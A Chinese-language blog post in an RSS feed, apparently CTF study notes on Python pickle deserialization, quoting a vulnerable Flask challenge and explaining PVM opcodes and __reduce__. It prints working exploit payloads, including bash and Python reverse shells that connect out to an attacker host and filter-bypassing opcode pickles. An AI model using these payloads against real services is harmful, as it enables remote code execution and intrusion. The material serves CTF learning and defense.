<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Python on KePulsary</title><link>https://kepulsary.github.io/tags/python/</link><description>Recent content in Python on KePulsary</description><generator>Hugo -- gohugo.io</generator><language>zh</language><lastBuildDate>Thu, 30 Jun 2022 22:43:04 +0000</lastBuildDate><atom:link href="https://kepulsary.github.io/tags/python/index.xml" rel="self" type="application/rss+xml"/><item><title>Python 反序列化</title><link>https://kepulsary.github.io/2021/10/20/python-deserialization/</link><pubDate>Wed, 20 Oct 2021 00:00:00 +0000</pubDate><guid>https://kepulsary.github.io/2021/10/20/python-deserialization/</guid><description>&lt;h1 id="python-反序列化"&gt;Python 反序列化&#10;&lt;/h1&gt;&lt;p&gt;就看了一题 md网刃和极客都没做，亏&lt;/p&gt;&#10;&lt;p&gt;先解题放payload&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7436#toc-7" target="_blank" rel="noopener"&#10; &gt;pickle反序列化初探 - 先知社区 (aliyun.com)&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/EddieIvan01/pker" target="_blank" rel="noopener"&#10; &gt;https://github.com/EddieIvan01/pker&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://zhuanlan.zhihu.com/p/361349643" target="_blank" rel="noopener"&#10; &gt;pickle反序列化的利用技巧总结 – 知乎 (zhihu.com)&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/wjrblogs/p/14057784.html" target="_blank" rel="noopener"&#10; &gt;Python 反序列化漏洞学习笔记 – 1ndex- – 博客园 (cnblogs.com)&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7436" target="_blank" rel="noopener"&#10; &gt;pickle反序列化初探 – 先知社区 (aliyun.com)&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/CSDNiamcoming/article/details/119284636" target="_blank" rel="noopener"&#10; &gt;(28条消息) 极客巅峰2021 web opcode_y0un9er-CSDN博客&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="ez_python"&gt;ez_python&#10;&lt;/h2&gt;&lt;p&gt;pic处可以读源码&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;import pickle&#10;import base64&#10;from flask import Flask, request&#10;from flask import render_template,redirect,send_from_directory&#10;import os&#10;import requests&#10;import random&#10;from flask import send_file&#10;&#10;app = Flask(__name__)&#10;&#10;class User():&#10; def __init__(self,name,age):&#10; self.name = name&#10; self.age = age&#10;&#10;def check(s):&#10; if b&amp;#39;R&amp;#39; in s:&#10; return 0&#10; return 1&#10;&#10;&#10;@app.route(&amp;#34;/&amp;#34;)&#10;def index():&#10; try:&#10; user = base64.b64decode(request.cookies.get(&amp;#39;user&amp;#39;))&#10; if check(user):&#10; user = pickle.loads(user)&#10; username = user[&amp;#34;username&amp;#34;]&#10; else:&#10; username = &amp;#34;bad,bad,hacker&amp;#34;&#10; except:&#10; username = &amp;#34;CTFer&amp;#34;&#10; pic = &amp;#39;{0}.jpg&amp;#39;.format(random.randint(1,7))&#10; &#10; try:&#10; pic=request.args.get(&amp;#39;pic&amp;#39;)&#10; with open(pic, &amp;#39;rb&amp;#39;) as f:&#10; base64_data = base64.b64encode(f.read())&#10; p = base64_data.decode()&#10; except:&#10; pic=&amp;#39;{0}.jpg&amp;#39;.format(random.randint(1,7))&#10; with open(pic, &amp;#39;rb&amp;#39;) as f:&#10; base64_data = base64.b64encode(f.read())&#10; p = base64_data.decode()&#10;&#10; return render_template(&amp;#39;index.html&amp;#39;, uname=username, pic=p )&#10;&#10;&#10;if __name__ == &amp;#34;__main__&amp;#34;:&#10; app.run(&amp;#39;0.0.0.0&amp;#39;,port=5000)&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;序列化字符串中不能存在 R，而 &lt;strong&gt;reduce&lt;/strong&gt; 就是用到了R指令，不过也毫不意外，毕竟题目提示的就是要手写 opcode，在不使用 R 指令的情况下执行命令&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/ip/port 0&amp;gt;&amp;amp;1&amp;#34;&#10;&#10;http://www.jackson-t.ca/runtime-exec-payloads.html//编码网站&#10;&#10;bash -c {echo,base64==}|{base64,-d}|{bash,-i}&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;RCE demo:&lt;/p&gt;&#10;&lt;p&gt;R:&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;b&amp;#39;&amp;#39;&amp;#39;cos&#10;system&#10;(S&amp;#39;whoami&amp;#39;&#10;tR.&amp;#39;&amp;#39;&amp;#39;&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;i&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;b&amp;#39;&amp;#39;&amp;#39;(S&amp;#39;whoami&amp;#39;&#10;ios&#10;system&#10;.&amp;#39;&amp;#39;&amp;#39;&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;o&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;b&amp;#39;&amp;#39;&amp;#39;(cos&#10;system&#10;S&amp;#39;whoami&amp;#39;&#10;o.&amp;#39;&amp;#39;&amp;#39;&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;选一个没有b’R’的&lt;/p&gt;&#10;&lt;p&gt;exp:&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;import base64&#10;import pickletools&#10;&#10;a = b&amp;#39;&amp;#39;&amp;#39;(S&amp;#39;bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/ip/port 0&amp;gt;&amp;amp;1&amp;#34;&amp;#39;&#10;ios&#10;system&#10;.&amp;#39;&amp;#39;&amp;#39;&#10;&#10;a = pickletools.optimize(a)&#10;print(base64.b64encode(a))&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;无过滤&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python3&#10;import requests&#10;import pickle&#10;import os&#10;import base64&#10;&#10;&#10;class exp(object):&#10; def __reduce__(self):&#10; s = &amp;#34;&amp;#34;&amp;#34;python -c &amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;172.17.0.1&amp;#34;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/bash&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&amp;#34;&amp;#34;&amp;#34;&#10; return (os.system, (s,))&#10;&#10;&#10;e = exp()&#10;s = pickle.dumps(e)&#10;&#10;response = requests.get(&amp;#34;http://172.19.0.2:8000/&amp;#34;, cookies=dict(&#10; user=base64.b64encode(s).decode()&#10;))&#10;&#10;print(response.content)&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;草草草我怎么这么菜？？？？？我居然找不到opcode的，，呜呜呜我连百度都不会&lt;/p&gt;&#10;&lt;h2 id="python-的序列化和反序列化是什么"&gt;&lt;strong&gt;Python 的序列化和反序列化是什么&lt;/strong&gt;&#10;&lt;/h2&gt;&lt;p&gt;Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输，然后使用的时候再将字节流转化回原始的对象的一个过程。&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;import pickle&#10;class People(object):&#10; def __init__(self,name = &amp;#34;K0rz3n&amp;#34;):&#10; self.name = name&#10;&#10; def say(self):&#10; print (&amp;#34;Hello ! My friends&amp;#34;)&#10;&#10;a=People()&#10;c=pickle.dumps(a)&#10;print (c)&#10;&#10;#output:b&amp;#39;\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x06K0rz3n\x94sb.&amp;#39;&#10;import pickle&#10;class People(object):&#10; def __init__(self,name = &amp;#34;K0rz3n&amp;#34;):&#10; self.name = name&#10;&#10; def say(self):&#10; print (&amp;#34;Hello ! My friends&amp;#34;)&#10;&#10;a=People()&#10;c=pickle.dumps(a)&#10;d = pickle.loads(c)&#10;print(type(d))&#10;d.say()&#10;# 可以看到，我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法&#10;# output:&amp;lt;class &amp;#39;__main__.People&amp;#39;&amp;gt;&#10;# Hello ! My friends&#10;import pickle&#10;class People(object):&#10; def __init__(self,name = &amp;#34;K0rz3n&amp;#34;):&#10; self.name = name&#10;&#10; def say(self):&#10; print (&amp;#34;Hello ! My friends&amp;#34;)&#10;&#10;a=People()&#10;c=pickle.dumps(a)&#10;del People&#10;d = pickle.loads(c)&#10;# 如果我在反序列化以前删除了 People&#10;# 这个类，那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错，从而反序列化失败。&#10;# nootput,die&#10;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="为什么要实现序列化和反序列化"&gt;&lt;strong&gt;为什么要实现序列化和反序列化&lt;/strong&gt;&#10;&lt;/h2&gt;&lt;p&gt;和其他语言的序列化一样，Python 的序列化的目的也是为了保存、传递和恢复对象的方便性，在众多传递对象的方式中，序列化和反序列化可以说是最简单和最容易试下的方式&lt;/p&gt;&#10;&lt;h2 id="python-是怎么实现序列化和反序列化的"&gt;&lt;strong&gt;python 是怎么实现序列化和反序列化的&lt;/strong&gt;&#10;&lt;/h2&gt;&lt;h3 id="1几个重要的函数"&gt;&lt;strong&gt;1.几个重要的函数&lt;/strong&gt;&#10;&lt;/h3&gt;&lt;p&gt;库 pickle 和 cPickle 后者更快&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;序列化：&lt;/strong&gt;&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;pickle.dump(文件) &#10;pickle.dumps(字符串)&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;反序列化:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;pickle.load(文件)&#10;pickle.loads(字符串)&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;PVM(python 虚拟机)是实现 Python 序列化和反序列化的最根本的东西&lt;/p&gt;&#10;&lt;h3 id="2pvm-的组成"&gt;&lt;strong&gt;2.PVM 的组成&lt;/strong&gt;&#10;&lt;/h3&gt;&lt;p&gt;PVM 由三个部分组成，引擎（或者叫指令分析器），栈区、还有一个 Memo (作者也不知道怎么解释，我们姑且叫它 “标签区“)&lt;/p&gt;&#10;&lt;h4 id="1引擎的作用"&gt;&lt;strong&gt;1.引擎的作用&lt;/strong&gt;&#10;&lt;/h4&gt;&lt;p&gt;从头开始读取流中的操作码和参数，并对其进行处理,zai在这个过程中改变 栈区 和 标签区，处理结束后到达栈顶，形成并返回反序列化的对象&lt;/p&gt;&#10;&lt;h4 id="2栈区的作用"&gt;&lt;strong&gt;2.栈区的作用&lt;/strong&gt;&#10;&lt;/h4&gt;&lt;p&gt;作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化，并最终在栈上生成发序列化的结果&lt;/p&gt;&#10;&lt;h4 id="3标签区的作用"&gt;&lt;strong&gt;3.标签区的作用&lt;/strong&gt;&#10;&lt;/h4&gt;&lt;p&gt;数据的一个索引或者标记&lt;/p&gt;&#10;&lt;h3 id="3pvm-操作码"&gt;&lt;strong&gt;3.PVM 操作码&lt;/strong&gt;&#10;&lt;/h3&gt;&lt;p&gt;图挂了草草草&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;这里面要重点关注几个&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;S : 后面跟的是字符串 ( ：作为命令执行到哪里的一个标记 t ：将从 t 到标记的全部元素组合成一个元祖，然后放入栈中 c ：定义模块名和类名（模块名和类名之间使用回车分隔） R ：从栈中取出可调用函数以及元祖形式的参数来执行，并把结果放回栈中 . ：点号是结束符&lt;/p&gt;&#10;&lt;h3 id="4反序列化流程"&gt;&lt;strong&gt;4.反序列化流程&lt;/strong&gt;&#10;&lt;/h3&gt;&lt;p&gt;序列化就是一个将对象转化成字符串的过程&lt;/p&gt;&#10;&lt;p&gt;我们将下面这个字符串存储为一个文件 shell.pickle&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;cos&#10;system&#10;(S&amp;#39;/bin/sh&amp;#39;&#10;tR.&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;当我们使用下面这个函数对其进行加载的时候&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import pickle&#10;&amp;gt;&amp;gt;&amp;gt; pickle.load(open(&amp;#39;shell.pickle&amp;#39;))&#10;&#10;# 这边失败了报了个typeerror 给的不是字节编码解析成str了&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;解释如何执行&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;(1)c 后面是模块名，换行后是类名,于是将 os.system 放入栈中&#10;(2)( 这个是标记符，我们将一个 Mark 放入栈中&#10;(3)S 后面是字符串，我们放入栈中&#10;(4)t 将栈中 Mark 之前的内容取出来转化成元祖，再存入栈中 （’/bin/sh’,），同时标记 Mark 消失&#10;(5)R 将元祖取出，并将 callable 取出，然后将元祖作为 callable 的参数，并执行，对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中&#10;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="与-php-反序列化的对比"&gt;&lt;strong&gt;与 PHP 反序列化的对比&lt;/strong&gt;&#10;&lt;/h2&gt;&lt;p&gt;Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象（这部分内容在后面会有所介绍），这样的话就大大拓宽了我们的攻击面。&lt;/p&gt;&#10;&lt;h2 id="python-反序列化漏洞何来"&gt;&lt;strong&gt;Python 反序列化漏洞何来&lt;/strong&gt;&#10;&lt;/h2&gt;&lt;h3 id="我们怎么利用反序列化漏洞"&gt;&lt;strong&gt;我们怎么利用反序列化漏洞&lt;/strong&gt;&#10;&lt;/h3&gt;&lt;h4 id="1理论基础"&gt;&lt;strong&gt;1.理论基础&lt;/strong&gt;&#10;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;__reduce__&lt;/code&gt; 这个魔法方法&lt;/p&gt;&#10;&lt;p&gt;当序列化以及反序列化的过程中中碰到一无所知的扩展类型(&lt;strong&gt;这里指的就是新式类&lt;/strong&gt;)的时候，可以通过类中定义的&lt;code&gt;__reduce__&lt;/code&gt;方法来告知如何进行序列化或者反序列化&lt;/p&gt;&#10;&lt;p&gt;只要在新式类中定义一个 &lt;code&gt;__reduce__&lt;/code&gt; 方法，我们就能在序列化的使用让这个类根据我们在&lt;code&gt;__reduce__&lt;/code&gt; 中指定的方式进行序列化&lt;/p&gt;&#10;&lt;p&gt;关键就在这个方法的返回值上，这个方法可以返回两种类型的值，String 和 tuple ,我们的构造点就在令其返回 tuple 的时候&lt;/p&gt;&#10;&lt;p&gt;当他返回值是一个元祖的时候，可以提供2到5个参数，我们重点利用的是前两个，第一个参数是一个callable object(可调用的对象)，第二个参数可以是一个元祖为这个可调用对象提供必要的参数，如果你认真看上面的 PVM 的指令码，你就会发现这个返回值和其中的一个 R 指令非常的一致，（我猜测这个 R 指令码就是这个 &lt;code&gt;__reduce__&lt;/code&gt; 方法的返回值的底层实现 ）所以这过滤R就不能用reduce了&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;import pickle&#10;import os&#10;class A(object):&#10; def __reduce__(self):&#10; a = &amp;#39;ping 127.0.0.1&amp;#39;&#10; return (os.system,(a,))&#10;a = A()&#10;test = pickle.dumps(a)&#10;pickle.loads(test)&#10;&#10;# output:执行的命令&#10;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一个比较好的命令能执行 系统命令，那就是 python pty 模块&lt;/p&gt;&#10;&lt;p&gt;reduce 是利用调用某个 callable 并传递参数来执行的，而我们这个函数本身就是一个 callable&lt;/p&gt;&#10;&lt;p&gt;这时候就要利用我们上面分析的那个 PVM 操作码来自己构造了&lt;/p&gt;&#10;&lt;p&gt;这里也用到了 Python 的一个面向对象的特性，Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数，这一部分的内容可以看&lt;a class="link" href="https://docs.python.org/3/library/types.html" target="_blank" rel="noopener"&#10; &gt;官方文档&lt;/a&gt;的介绍&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;这里直接给出 payload&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;这是什么鬼。。。。？？？？&lt;/p&gt;&#10;&lt;pre tabindex="0"&gt;&lt;code&gt;ctypes&#10;FunctionType&#10;(cmarshal&#10;loads&#10;(cbase64&#10;b64decode&#10;(S&amp;#39;YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMHAAAAcGljNC5weVIBAAAABwAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMHAAAAcGljNC5weXQDAAAAZm9vBQAAAHMIAAAAAAEMAQ8EDwE=&amp;#39;&#10;tRtRc__builtin__&#10;globals&#10;(tRS&amp;#39;&amp;#39;&#10;tR(tR.&#10;&lt;/code&gt;&lt;/pre&gt;</description></item></channel></rss>